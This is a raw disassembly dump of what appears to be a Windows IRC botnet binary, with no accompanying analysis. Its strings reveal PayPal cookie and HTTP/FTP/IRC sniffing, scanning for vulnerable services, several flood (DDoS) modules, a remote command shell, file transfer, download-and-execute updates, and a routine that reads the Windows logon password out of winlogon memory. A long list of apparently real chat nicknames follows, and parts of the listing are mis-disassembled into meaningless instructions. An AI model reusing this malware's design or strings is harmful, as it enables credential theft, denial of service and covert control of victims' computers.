aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_413100+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_413100+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_413100+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_413100:loc_413140o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_413100+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_413100+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_413187+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_413187+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_413187+5o
		align 4
unk_437734	db  2Dh	; -		; DATA XREF: sub_4131EC+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43776C	db  2Dh	; -		; DATA XREF: sub_4131EC+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4377A4	db  2Dh	; -		; DATA XREF: sub_4131EC+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377D8	db  2Dh	; -		; DATA XREF: sub_4131EC+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43780C	db  2Dh	; -		; DATA XREF: sub_4131EC+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437840	db  2Dh	; -		; DATA XREF: sub_4131EC+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_437870	db  2Dh	; -		; DATA XREF: sub_4131EC+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4378C4	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_413694+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_437AEC	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_4143F7+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_437EDC	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415CC0+35o
dword_437EF0	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
		align 4
dword_437F28	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F3C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415DD8+20o
dword_437F50	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415F27o
		dd 6574656Ch, 0
dword_437F6C	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:00415E8Ao
		dd 676E6974h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437FEC	db  2Dh	; -		; DATA XREF: ___:004162BEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_438010	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:00416523o
					; ___:004166B9o
		dd 726F72h
unk_438028	db  2Dh	; -		; DATA XREF: ___:004164BBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_438054	db  2Dh	; -		; DATA XREF: ___:004163C3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_438078	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:0041638Co
		dd 74756Fh
dword_438090	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:0041632Bo
		dd 169h
unk_4380A8	db  2Dh	; -		; DATA XREF: ___:004162E8o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_4380C8	db  2Dh	; -		; DATA XREF: ___:00416243o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_4380EC	db  2Dh	; -		; DATA XREF: ___:00416205o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_438110	db  2Dh	; -		; DATA XREF: ___:00416734o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43813C	db  2Dh	; -		; DATA XREF: ___:0041662Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43815C	db  2Dh	; -		; DATA XREF: ___:0041660Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:004165FAo
unk_43818C	db  2Dh	; -		; DATA XREF: ___:004165E6o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_4381BC	db  2Dh	; -		; DATA XREF: ___:00416C33o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_4381E8	db  2Dh	; -		; DATA XREF: ___:00416C25o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_43821C	db  2Dh	; -		; DATA XREF: ___:00416B69o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_438260	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416AF8o
		dd 25206465h, 73h
unk_43827C	db  2Dh	; -		; DATA XREF: ___:00416A81o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_4382B4	db  2Dh	; -		; DATA XREF: ___:00416A02o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_4382DC	db  2Dh	; -		; DATA XREF: ___:00416978o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_438308	db  2Dh	; -		; DATA XREF: ___:00416935o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_438330	db  2Dh	; -		; DATA XREF: ___:00416923o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_438358	db  2Dh	; -		; DATA XREF: ___:00416817o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416D48:loc_416D8Bo
					; sub_419443+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416D48:loc_416D85o
aDisk		db 'Disk',0             ; DATA XREF: sub_416D48:loc_416D7Fo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_416D48:loc_416D79o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416D48:loc_416D73o
		align 4
off_4383A8	dd offset word_4D4152	; DATA XREF: sub_416D48:loc_416D6Do
word_4383AC	dw 3Fh			; DATA XREF: sub_416D48+1Fo
					; sub_41AF8F:loc_41B091r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416DD9:loc_416EB7o
					; sub_416EFD+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416DD9+6Co
		align 10h
unk_4383C0	db  2Dh	; -		; DATA XREF: sub_416EFD+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_4383FC	db  2Dh	; -		; DATA XREF: sub_416EFD+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_438438	dd offset byte_5C3A41	; DATA XREF: sub_416FCF:loc_417014o
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_4384A8	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41743Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_4384DC	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41740Do
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438508	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_417406o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_438540	db  2Dh	; -		; DATA XREF: sub_4172C1+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43859C	dd offset byte_530055	; DATA XREF: sub_4172C1+DCo
		dd offset aIBe5		; "]ÃÑ=œëÈb¥5"
		dd offset dword_4F0044
		dd offset loc_41004C+1
		dd offset byte_4E0049
		dd 0
off_4385B4	dd offset byte_530055	; DATA XREF: sub_4172C1+CEo
		dd offset aIBe5		; "]ÃÑ=œëÈb¥5"
		dd offset loc_41004C+2
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_4172C1+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
					; sub_4172C1+161o ...
		align 4
unk_438678	db  2Dh	; -		; DATA XREF: sub_4172C1+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_417493+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_417493+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_417493+AFo
		align 4
dword_4386C4	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4178F9+70o
					; sub_417990+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438714	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417990+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_438768	dd offset aQ		; DATA XREF: sub_417E84+5Cr
					; "q"
; ---------------------------------------------------------------------------
		sbb	[ebx-4E77FFBDh], dl
		inc	edx
		add	[eax+1C0042C6h], ah
		mov	byte ptr [edx+0], 14h
		xchg	eax, ebx
		inc	ebx
		add	al, dl
		scasd
		inc	edx
		add	[eax-3Ah], dh
		inc	edx
		add	[edi+ebp*4-4DE7FFBEh], ch
		inc	edx
		add	[eax-3Ah], bh
		inc	edx
		add	[eax], dl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], cl
		inc	ebx
		add	[eax], cl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], al
		inc	ebx
		add	[edi+esi*4+42h], bh
		add	ah, ch
		retf	42h
; ---------------------------------------------------------------------------
		dd offset dword_439300
; ---------------------------------------------------------------------------
		cld
		xchg	eax, edx
		inc	ebx
		add	al, bh
		xchg	eax, edx
		inc	ebx
		add	al, dh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aV		; "v"
		dd offset dword_4392F4
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_4392F0
		dd offset dword_4392EC
		dd offset dword_4392E8
		dd offset dword_4392E4
		dd offset dword_4392E0
		dd offset word_4392DC
		dd offset dword_4392D8
		dd offset aI_0		; "I"
		dd offset dword_4392D4
		dd offset dword_4392D0
		dd offset aA_0		; "A"
		dd offset dword_4392CC
		dd offset dword_4392C8
		dd offset dword_4392C4
		dd offset dword_4392C0
		dd offset dword_4392BC
		dd offset dword_4392B8
		dd offset dword_4392B4
		dd offset dword_4392B0
		dd offset dword_4392AC
		dd offset dword_4392A8
		dd offset dword_4392A4
		dd offset dword_4392A0
		dd offset dword_43929C
		dd offset word_439298
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_439030
		dd offset off_43902C
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438E98
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
